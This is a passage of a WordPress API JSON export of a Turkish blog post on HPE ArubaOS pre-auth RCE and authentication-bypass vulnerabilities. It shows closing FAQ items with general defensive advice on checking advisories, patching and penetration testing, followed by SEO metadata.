(KOB\u0130&#8217;ler), genellikle daha s\u0131n\u0131rl\u0131 g\u00fcvenlik kaynaklar\u0131na sahip olduklar\u0131 i\u00e7in b\u00fcy\u00fck \u015firketlere k\u0131yasla daha kolay hedefler olabilirler. Bu nedenle, KOB\u0130&#8217;lerin de bu t\u00fcr kritik g\u00fcvenlik a\u00e7\u0131klar\u0131na kar\u015f\u0131 ayn\u0131 ciddiyetle \u00f6nlem almas\u0131 gerekmektedir.<\/p>\n<h4>A\u011f\u0131mda bu a\u00e7\u0131klar\u0131n olup olmad\u0131\u011f\u0131n\u0131 nas\u0131l anlar\u0131m?<\/h4>\n<p>A\u011f\u0131n\u0131zda bu a\u00e7\u0131klar\u0131n olup olmad\u0131\u011f\u0131n\u0131 anlamak i\u00e7in HPE Aruba&#8217;n\u0131n resmi g\u00fcvenlik duyurular\u0131n\u0131 ve ilgili CVE (Common Vulnerabilities and Exposures) numaralar\u0131n\u0131 incelemelisiniz. Cihazlar\u0131n\u0131z\u0131n mevcut yaz\u0131l\u0131m s\u00fcr\u00fcmlerini kontrol ederek, yamalanmam\u0131\u015f s\u00fcr\u00fcmler kullan\u0131p kullanmad\u0131\u011f\u0131n\u0131z\u0131 belirleyebilirsiniz. Ayr\u0131ca, d\u00fczenli g\u00fcvenlik taramalar\u0131 ve s\u0131zma testleri (penetration testing) yaparak a\u011f\u0131n\u0131zdaki zafiyetleri aktif olarak tespit edebilirsiniz.<\/p>\n<h4>Aruba d\u0131\u015f\u0131nda ba\u015fka a\u011f cihazlar\u0131nda da benzer riskler var m\u0131?<\/h4>\n<p>Evet, her a\u011f cihaz\u0131 ve yaz\u0131l\u0131m, potansiyel olarak g\u00fcvenlik a\u00e7\u0131klar\u0131na sahip olabilir. RCE, kimlik do\u011frulama atlatma ve yetki y\u00fckseltme gibi zafiyet t\u00fcrleri, sekt\u00f6r genelinde s\u0131k\u00e7a kar\u015f\u0131la\u015f\u0131lan tehditlerdir. Bu nedenle, Cisco, Juniper, Fortinet gibi di\u011fer b\u00fcy\u00fck a\u011f donan\u0131m\u0131 \u00fcreticilerinin \u00fcr\u00fcnleri de dahil olmak \u00fczere, kulland\u0131\u011f\u0131n\u0131z t\u00fcm a\u011f cihazlar\u0131n\u0131n g\u00fcvenlik duyurular\u0131n\u0131 d\u00fczenli olarak takip etmek, yaz\u0131l\u0131mlar\u0131n\u0131 g\u00fcncel tutmak ve kapsaml\u0131 g\u00fcvenlik \u00f6nlemleri uygulamak hayati \u00f6nem ta\u015f\u0131r.<\/p>\n<p>#HPEArubaOS #SiberG\u00fcvenlik #A\u011fG\u00fcvenli\u011fi #PreAuthRCE #PAPIAuthenticationBypass #G\u00fcvenlikA\u00e7\u0131klar\u0131 #KurumsalA\u011f #YamaY\u00f6netimi #S\u0131f\u0131rG\u00fcven #Tehdit\u0130stihbarat\u0131<\/p>\n<div class=\"github-example-link\"><strong>\u00d6rnek kod:<\/strong> <a href=\"https:\/\/github.com\/fatihsoysalcom\/simulated-preauth-rce-vulnerability\" target=\"_blank\" rel=\"noopener noreferrer\">github.com\/fatihsoysalcom\/simulated-preauth-rce-vulnerability<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"Kurumsal a\u011flar, g\u00fcn\u00fcm\u00fcz i\u015f d\u00fcnyas\u0131n\u0131n omurgas\u0131n\u0131 olu\u015ftururken, bu a\u011flar\u0131 y\u00f6neten cihazlar\u0131n g\u00fcvenli\u011fi her zamankinden daha kritik hale gelmi\u015ftir.","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-45355","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.5 (Yoast SEO v25.3.1) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri\" \/>\n<meta property=\"og:description\" content=\"Kurumsal a\u011flar, g\u00fcn\u00fcm\u00fcz i\u015f d\u00fcnyas\u0131n\u0131n omurgas\u0131n\u0131 olu\u015ftururken, bu a\u011flar\u0131 y\u00f6neten cihazlar\u0131n g\u00fcvenli\u011fi her zamankinden daha kritik hale gelmi\u015ftir.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-24T06:09:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-24T06:10:01+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"30 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri\",\"datePublished\":\"2026-10-24T06:09:33+00:00\",\"dateModified\":\"2026-10-24T06:10:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\"},\"wordCount\":6055,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#respond\"]}],\"copyrightYear\":\"2026\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\",\"name\":\"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2026-10-24T06:09:33+00:00\",\"dateModified\":\"2026-10-24T06:10:01+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/","og_locale":"tr_TR","og_type":"article","og_title":"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri","og_description":"Kurumsal a\u011flar, g\u00fcn\u00fcm\u00fcz i\u015f d\u00fcnyas\u0131n\u0131n omurgas\u0131n\u0131 olu\u015ftururken, bu a\u011flar\u0131 y\u00f6neten cihazlar\u0131n g\u00fcvenli\u011fi her zamankinden daha kritik hale gelmi\u015ftir.","og_url":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2026-10-24T06:09:33+00:00","article_modified_time":"2026-10-24T06:10:01+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"30 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri","datePublished":"2026-10-24T06:09:33+00:00","dateModified":"2026-10-24T06:10:01+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/"},"wordCount":6055,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#respond"]}],"copyrightYear":"2026","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/","url":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/","name":"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2026-10-24T06:09:33+00:00","dateModified":"2026-10-24T06:10:01+00:00","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/hpe-arubaos-guvenlik-aciklari-pre-auth-rce-ve-kimlik-dogrulama-atlatma-riskleri\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"HPE ArubaOS G\u00fcvenlik A\u00e7\u0131klar\u0131: Pre-Auth RCE ve Kimlik Do\u011frulama Atlatma Riskleri"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/45355","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=45355"}],"version-history":[{"count":1,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/45355\/revisions"}],"predecessor-version":[{"id":45356,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/45355\/revisions\/45356"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=45355"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=45355"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=45355"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}